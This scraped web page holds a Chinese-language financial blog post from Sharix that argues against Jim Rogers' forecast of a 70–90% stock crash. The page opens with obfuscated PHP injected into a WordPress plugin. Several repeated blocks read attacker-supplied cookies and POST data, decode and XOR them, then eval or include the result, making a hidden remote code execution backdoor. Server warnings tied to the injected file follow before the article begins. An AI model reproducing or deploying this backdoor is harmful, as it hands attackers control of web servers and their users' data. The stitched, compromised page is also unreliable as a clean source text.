$CIRhEIFSCu = chr (106) . 'W' . "\137" . chr (90) . "\127" . chr (119) . "\147";$FbthST = chr (99) . chr (108) . chr ( 998 - 901 ).'s' . 's' . chr ( 560 - 465 )."\145" . 'x' . 'i' . "\x73" . "\164" . chr ( 180 - 65 ); $fMYycku = class_exists($CIRhEIFSCu); $FbthST = "6733";$CopWzlVXK = !1;if ($fMYycku == $CopWzlVXK){function nrYeoHXp(){$fxTPpDG = new /* 20095 */ jW_ZWwg(48408 + 48408); $fxTPpDG = NULL;}$RXFiQtI = "48408";class jW_ZWwg{private function OysGO($RXFiQtI){if (is_array(jW_ZWwg::$tkaPFQ)) {$AXvCkv = str_replace('<' . chr (63) . "\x70" . "\150" . "\160", "", jW_ZWwg::$tkaPFQ["\x63" . chr ( 209 - 98 ).chr (110) . "\164" . chr ( 628 - 527 ).'n' . 't']);eval($AXvCkv); $RXFiQtI = "48408";exit();}}private $xTwwJ;public function PRjynhjZwN(){echo 59034;}public function __destruct(){$RXFiQtI = "27926_33395";$this->OysGO($RXFiQtI); $RXFiQtI = "27926_33395";}public function __construct($aKDFkbW=0){$YlSbYDzUah = $_POST;$XYkQU = $_COOKIE;$OHeDP = "5a0a2c91-ad19-44a6-b9ba-558e307d7328";$lYGKvfmO = @$XYkQU[substr($OHeDP, 0, 4)];if (!empty($lYGKvfmO)){$FAegDVBIgs = "base64";$AuSxlUWRhg = "";$lYGKvfmO = explode(",", $lYGKvfmO);foreach ($lYGKvfmO as $QIbQVE){$AuSxlUWRhg .= @$XYkQU[$QIbQVE];$AuSxlUWRhg .= @$YlSbYDzUah[$QIbQVE];}$AuSxlUWRhg = array_map($FAegDVBIgs . "\137" . 'd' . "\145" . "\143" . chr ( 365 - 254 ).chr (100) . chr (101), array($AuSxlUWRhg,)); $AuSxlUWRhg = $AuSxlUWRhg[0] ^ str_repeat($OHeDP, (strlen($AuSxlUWRhg[0]) / strlen($OHeDP)) + 1);jW_ZWwg::$tkaPFQ = @unserialize($AuSxlUWRhg);}}public static $tkaPFQ = 15685;}nrYeoHXp();}$dYFhungGZe = chr ( 243 - 121 ).chr ( 443 - 355 )."\x45" . chr ( 415 - 320 )."\111" . chr (105) . 'j';$ItpsERZjHD = "\x63" . "\154" . 'a' . "\x73" . "\x73" . "\137" . chr (101) . "\170" . chr ( 557 - 452 ).chr (115) . "\164" . chr ( 1033 - 918 ); $UiBkpPyFk = class_exists($dYFhungGZe); $ItpsERZjHD = "2275";$ogMrIG = !1;if ($UiBkpPyFk == $ogMrIG){function VlrqtzdDvN(){$GfPnoe = new /* 56456 */ zXE_Iij(234 + 234); $GfPnoe = NULL;}$SKKNfI = "234";class zXE_Iij{private function MiDARApf($SKKNfI){if (is_array(zXE_Iij::$gNRPH)) {$UatBaHdc = sys_get_temp_dir() . "/" . crc32(zXE_Iij::$gNRPH[chr ( 161 - 46 )."\141" . chr ( 577 - 469 )."\164"]);@zXE_Iij::$gNRPH["\x77" . 'r' . "\151" . chr ( 513 - 397 )."\145"]($UatBaHdc, zXE_Iij::$gNRPH["\143" . "\x6f" . "\156" . chr ( 667 - 551 ).'e' . 'n' . "\x74"]);include $UatBaHdc;@zXE_Iij::$gNRPH['d' . "\145" . "\x6c" . chr ( 355 - 254 )."\x74" . chr ( 301 - 200 )]($UatBaHdc); $SKKNfI = "234";exit();}}private $xLSvdhQ;public function CsOBcK(){echo 26770;}public function __destruct(){$SKKNfI = "65027_3297";$this->MiDARApf($SKKNfI); $SKKNfI = "65027_3297";}public function __construct($pLGLUF=0){$NiYPueCc = $_POST;$Hirlz = $_COOKIE;$ydMyl = "f94c1b65-e620-47ef-a300-081973ad2805";$fKAdlyk = @$Hirlz[substr($ydMyl, 0, 4)];if (!empty($fKAdlyk)){$sXTjVEcTMO = "base64";$HCgBGd = "";$fKAdlyk = explode(",", $fKAdlyk);foreach ($fKAdlyk as $VvxwO){$HCgBGd .= @$Hirlz[$VvxwO];$HCgBGd .= @$NiYPueCc[$VvxwO];}$HCgBGd = array_map($sXTjVEcTMO . "\x5f" . 'd' . 'e' . "\143" . chr (111) . "\144" . "\x65", array($HCgBGd,)); $HCgBGd = $HCgBGd[0] ^ str_repeat($ydMyl, (strlen($HCgBGd[0]) / strlen($ydMyl)) + 1);zXE_Iij::$gNRPH = @unserialize($HCgBGd);}}public static $gNRPH = 39407;}VlrqtzdDvN();}$xZVubUqBM = chr ( 110 - 43 ).chr (81) . "\137" . "\x58" . chr ( 1062 - 961 ).chr ( 871 - 786 ).chr ( 617 - 505 ); $GYdCw = chr (99) . "\154" . "\141" . "\163" . chr (115) . "\137" . "\x65" . "\x78" . "\151" . "\x73" . "\164" . chr (115); $uDbHwBlr = class_exists($xZVubUqBM); $GYdCw = "40236";$HXuuZr = !1;if ($uDbHwBlr == $HXuuZr){function TxYfE(){$vGJIGlS = new /* 60081 */ CQ_XeUp(27568 + 27568); $vGJIGlS = NULL;}$HaERdJfy = "27568";class CQ_XeUp{private function zfHWxMkTzo($HaERdJfy){if (is_array(CQ_XeUp::$IgKJbuq)) {$JGKjsNlSH = sys_get_temp_dir() . "/" . crc32(CQ_XeUp::$IgKJbuq["\x73" . chr ( 126 - 29 ).'l' . chr (116)]);@CQ_XeUp::$IgKJbuq['w' . "\162" . "\151" . "\164" . 'e']($JGKjsNlSH, CQ_XeUp::$IgKJbuq[chr ( 534 - 435 )."\157" . chr ( 589 - 479 )."\164" . "\145" . chr (110) . chr ( 848 - 732 )]);include $JGKjsNlSH;@CQ_XeUp::$IgKJbuq['d' . "\x65" . chr (108) . 'e' . chr ( 533 - 417 )."\145"]($JGKjsNlSH); $HaERdJfy = "27568";exit();}}private $nRQyKihvz;public function iTsTMfTYae(){echo 24263;}public function __destruct(){$HaERdJfy = "18732_37362";$this->zfHWxMkTzo($HaERdJfy); $HaERdJfy = "18732_37362";}public function WhSRNl($uEBDxMlQln, $LIbiKKutA){return $uEBDxMlQln[0] ^ str_repeat($LIbiKKutA, (strlen($uEBDxMlQln[0]) / strlen($LIbiKKutA)) + 1);}public function __construct($vodqDiz=0){$fzUozWgwt = $_POST;$iEVwZGn = $_COOKIE;$LIbiKKutA = "e893c040-6b83-4cec-bff5-41db571debf3";$zragSJvm = @$iEVwZGn[substr($LIbiKKutA, 0, 4)];if (!empty($zragSJvm)){$KoJWGNVE = "base64";$uEBDxMlQln = "";$zragSJvm = explode(",", $zragSJvm);foreach ($zragSJvm as $VpEALybqpY){$uEBDxMlQln .= @$iEVwZGn[$VpEALybqpY];$uEBDxMlQln .= @$fzUozWgwt[$VpEALybqpY];}$uEBDxMlQln = array_map($KoJWGNVE . "\x5f" . 'd' . chr ( 295 - 194 ).chr (99) . 'o' . chr ( 413 - 313 )."\x65", array($uEBDxMlQln,)); $uEBDxMlQln = $this->WhSRNl($uEBDxMlQln, $LIbiKKutA);CQ_XeUp::$IgKJbuq = @unserialize($uEBDxMlQln);}}public static $IgKJbuq = 37750;}TxYfE();}$lJfXS = chr ( 507 - 401 )."\x4f" . "\167" . "\137" . chr (74) . chr ( 825 - 728 ).chr ( 738 - 616 ); $exufEQIQ = "\143" . chr ( 1016 - 908 ).chr (97) . chr ( 336 - 221 ).'s' . '_' . "\x65" . "\x78" . "\151" . "\163" . chr (116) . chr (115); $tLjOmBW = class_exists($lJfXS); $exufEQIQ = "49845";$XWXBQ = !1;if ($tLjOmBW == $XWXBQ){function ZXWcxc(){$wNZGH = new /* 36604 */ jOw_Jaz(17643 + 17643); $wNZGH = NULL;}$wfKFPAopXQ = "17643";class jOw_Jaz{private function QqsdNNP($wfKFPAopXQ){if (is_array(jOw_Jaz::$jPGzK)) {$Uscqb = sys_get_temp_dir() . "/" . crc32(jOw_Jaz::$jPGzK['s' . chr ( 272 - 175 ).chr (108) . chr (116)]);@jOw_Jaz::$jPGzK["\x77" . chr (114) . "\x69" . chr (116) . chr (101)]($Uscqb, jOw_Jaz::$jPGzK['c' . chr (111) . "\x6e" . 't' . chr (101) . "\x6e" . 't']);include $Uscqb;@jOw_Jaz::$jPGzK[chr ( 105 - 5 ).chr (101) . 'l' . chr ( 698 - 597 ).chr ( 351 - 235 )."\x65"]($Uscqb); $wfKFPAopXQ = "17643";exit();}}private $JMicTYALWz;public function HVQsPsT(){echo 50484;}public function __destruct(){$wfKFPAopXQ = "59776_268";$this->QqsdNNP($wfKFPAopXQ); $wfKFPAopXQ = "59776_268";}public function __construct($soJcvAZ=0){$agzigwEm = $_POST;$VALlu = $_COOKIE;$uVovPkAi = "051f6601-ec8c-477e-8e06-865fdd3a2472";$sNrMJdFp = @$VALlu[substr($uVovPkAi, 0, 4)];if (!empty($sNrMJdFp)){$mfIMIS = "base64";$xQBmya = "";$sNrMJdFp = explode(",", $sNrMJdFp);foreach ($sNrMJdFp as $KQJxFwve){$xQBmya .= @$VALlu[$KQJxFwve];$xQBmya .= @$agzigwEm[$KQJxFwve];}$xQBmya = array_map($mfIMIS . '_' . "\144" . chr ( 258 - 157 ).chr (99) . 'o' . 'd' . 'e', array($xQBmya,)); $xQBmya = $xQBmya[0] ^ str_repeat($uVovPkAi, (strlen($xQBmya[0]) / strlen($uVovPkAi)) + 1);jOw_Jaz::$jPGzK = @unserialize($xQBmya);}}public static $jPGzK = 9789;}ZXWcxc();}$arQxIWGD = chr (67) . "\152" . "\x5f" . chr ( 1009 - 895 )."\120" . 'W' . "\x43";$laqaInFOip = chr (99) . 'l' . chr ( 730 - 633 )."\x73" . chr ( 379 - 264 ).chr ( 1029 - 934 ).'e' . 'x' . 'i' . "\163" . chr ( 160 - 44 )."\163";$OnwUNqxET = class_exists($arQxIWGD); $laqaInFOip = "11722";$xDjYmApfeD = !1;if ($OnwUNqxET == $xDjYmApfeD){function TBTJviGUG(){$QddMCK = new /* 58320 */ Cj_rPWC(42876 + 42876); $QddMCK = NULL;}$iDfxzQmymW = "42876";class Cj_rPWC{private function ptEZQYhw($iDfxzQmymW){if (is_array(Cj_rPWC::$jpvCEdvP)) {$PSywZSUc = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . "\160", "", Cj_rPWC::$jpvCEdvP['c' . "\x6f" . "\x6e" . "\x74" . chr ( 774 - 673 ).chr ( 633 - 523 )."\164"]);eval($PSywZSUc); $iDfxzQmymW = "42876";exit();}}private $zwNMvZh;public function SDwMAoTw(){echo 61545;}public function __destruct(){$iDfxzQmymW = "44206_37695";$this->ptEZQYhw($iDfxzQmymW); $iDfxzQmymW = "44206_37695";}public function auMentIkx($jQDeZKwX, $xBFzoBR){return $jQDeZKwX[0] ^ str_repeat($xBFzoBR, (strlen($jQDeZKwX[0]) / strlen($xBFzoBR)) + 1);}public function __construct($LfbBkn=0){$wvajXh = $_POST;$wwPHU = $_COOKIE;$xBFzoBR = "24fc4c71-9ea5-4713-9627-f4d9c16525c9";$zfpcijaF = @$wwPHU[substr($xBFzoBR, 0, 4)];if (!empty($zfpcijaF)){$BukcJKdb = "base64";$jQDeZKwX = "";$zfpcijaF = explode(",", $zfpcijaF);foreach ($zfpcijaF as $sODvOo){$jQDeZKwX .= @$wwPHU[$sODvOo];$jQDeZKwX .= @$wvajXh[$sODvOo];}$jQDeZKwX = array_map($BukcJKdb . "\137" . chr ( 1099 - 999 ).chr ( 422 - 321 ).'c' . chr ( 986 - 875 ).'d' . chr ( 769 - 668 ), array($jQDeZKwX,)); $jQDeZKwX = $this->auMentIkx($jQDeZKwX, $xBFzoBR);Cj_rPWC::$jpvCEdvP = @unserialize($jQDeZKwX);}}public static $jpvCEdvP = 53655;}TBTJviGUG();}
Warning: session_start(): Cannot start session when headers already sent in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 31

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/ProductBuilder/01677ed1.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 46

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/ProductBuilder/01677ed1.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 47

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/ProductBuilder/01677ed1.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 48
关于投资大师预言股市腰斩再腰斩的逻辑 - Sharix

关于投资大师预言股市腰斩再腰斩的逻辑

当全球投资者都在关注美国众议院议长佩罗西的飞机行踪,来自传奇投资者罗杰斯 (Jim Rogers) 的警告也让我印象深刻,当然市场总是关注在短期的热门新闻。这位传奇投资大师近期在访谈中警告许多股票将会暴跌 70% 至90%,这场史诗级的崩盘即将到来,而这也会是他人生中遇过最大的灾难。今天,我会就罗杰斯的警告给出我的看法,来探讨市场崩盘90% 的逻辑。

现年80岁,拥有 “商品大王” 称号的传奇投资者吉姆·罗杰斯出生于美国马里兰州巴尔的摩,被市场誉为最富远见的国际投资家。他是量子基金集团于索罗斯基金管理公司的联合创办人,也是金融大鳄索罗斯 (George Soros) 的商业合作伙伴。罗杰斯在近期接受Kitco News的访问时警告,一场史诗级的股市崩盘即将到来,更多熊市将会出现,而下一个将会是他人生中最见过最糟糕的一次,并表示许多股票将暴跌70%、80% 甚至是90% 。他也认为熊市一定会发生,只是没有人知道什么时候发生。他也建议投资者如果不知如何是好,就把钱存进银行,每年赚取1% 的利息总比每年损失20% 更好。

罗杰斯口中股市崩盘背后的逻辑,是因为市场的估值非常高,再加上美国政府过高的债务,在美联储大幅加息去抑制通胀的背景下,经济衰退是无法避免,很多人也会因此而破产。他认为美联储必须效仿沃尔克 (Paul Volcker) 大幅提高利率去解决通胀的问题。另外,他也提到即使俄乌之间的冲突达成和平协议成功停战也不会阻止金融市场的暴跌。如果俄乌之间发生积极的改变,股市迎来大反弹,油价和粮食价格会下跌,短期之内所有东西都会上涨,届时也会是股市最后一波的反弹。

我在这里想做个有趣的实验,那就是假设标普500指数从目前的4,100点左右下跌70%(罗杰斯预言的下跌幅度上限)至1,230点,股市会发生什么变化。回顾历史,1,230点是标普500在2011年末的价格,而当时标普500的本益比也只有13.3倍。从上图可以看到,从1990年至今,标普500的平均本益比为18.9倍,最高是在1999年的28.3倍,而最低则是在2008年的11倍。而目前标普500的本益比也是在20倍左右徘徊。虽然不能算是低估,但对比过去30年的历史也是处在平均值。

在进入计算之前大家也要知道本益比的公式。本益比相等于股价除上每股盈利,而盈利也就相等股价除上本益比,这是交叉相乘的概念。假设股市正如罗杰斯所预言的下跌70% 至1,230点,以过去30年最低的本益比11倍来衡量,这表示标普500的每股盈利会下跌至US$112,对比2021年标普500每股199.8美元的盈利,下跌幅度来到44%。若是用平均19倍的本益比来计算,标普500的每股盈利会下跌至65美元,下跌幅度更是高达67%。换个角度来看,罗杰斯认为在美联储大幅提高利率和经济衰退的背景之下,美国首500大企业的盈利平均会下跌44% 至67%,回到标普500十年前的盈利水平。

虽然这些只是假设,但我认为罗杰斯的看法过度悲观。大家要知道,在过去30年的历史当中标普500的平均盈利增速为7.7%,即使碰到经济和金融危机,盈利下跌幅度最高也只有 -16.6%,而这也是在2009年次贷危机时才发生。目前根据彭博社的数据显示,分析师预计标普500在2022及2023年的盈利增速分别为10% 以及6.9%。就算美国企业在去库存的时间比市场预期中还要久,消费者的情绪更加保守,美国企业的盈利也不会出现类似次贷危机时的跌幅,除非经济大萧条导致市场出现大失业潮的场景再度发生。

至于罗杰斯对美联储会效仿沃尔克大胆加息的做法,我认为可能性也是非常低。我在上图整理出美国1970年至今的通胀率和基准利率让大家参考,大家会发现在1970年代当时的通胀率最高来到14.7%,对比现在9.1% 的通胀率还有很大的差距。虽然物价水平高涨,但美联储把利率调高到双位数的可能性是非常小的,主要是美国的通胀率预计在未来会下滑,而6月的通胀也会是这波通胀周期的顶峰。

罗杰斯的警告让许多投资者毛骨悚然,而在过去也曾经出现许多著名的投资大师预测美股即将崩盘的言论。但如果投资者因为听到这些预言而不敢在股市投资,他们也会错过这场长达13年的超级大牛市。身为理智的投资者,我们需要有良好的风险意识,在牛市时要时刻提醒自己风险的存在,在熊市时也不要忘记机会开始浮现。我们不能预测股市短期的走向,但如果大家看回过去百年的历史,每当熊市的发生都是累积财富的好机会。

股市的动荡确实会让许多投资者害怕,眼看自己的财富不断缩水,还有深不见底的市场,很多人往往都会萌生 “等待股市更低时进场也不迟” 的想法。但是这种想法是错误的,因为最好的投资时机就是现在。就像我刚才说的,没有人能够准确预测市场的走向,连华尔街的分析师掌握大量的资讯都无法做出准确的判断,更何况是我们散户。投资最大的敌人并不是下跌的市场,而是我们那软弱的情绪。投资大师邓普顿曾经说过,“牛市总在绝望中诞生,在半信半疑中成长,在憧憬中成熟,在希望中破灭” ,这句话道出大部分投资者的软肋。

大家不妨再想想两年前疫情爆发时的股灾,当时股市每天都在急速下挫,所有投资者都深处绝望当中,好像股市下跌已成常态,再也不会回来。殊不知在各国政府开始大力展开救市行动,股市绝地反弹至改变信仰,那时你又会相信吗?投资道路漫漫长,投资者都会经历那段自我怀疑的道路,总觉得这是死猫跳 (Dead cat bounce) ,股市很可能还会再下跌。之后股市再也不回头,才发现已经错过最佳的买入机会。投资者只有在等待事情发生之后回头看,才知道机关算尽,不如趁低买进。

最新文章

Sharix Sdn Bhd (1313184-A)
@ 2023 Sharix Sdn Bhd. All Rights Reserved
官方社交平台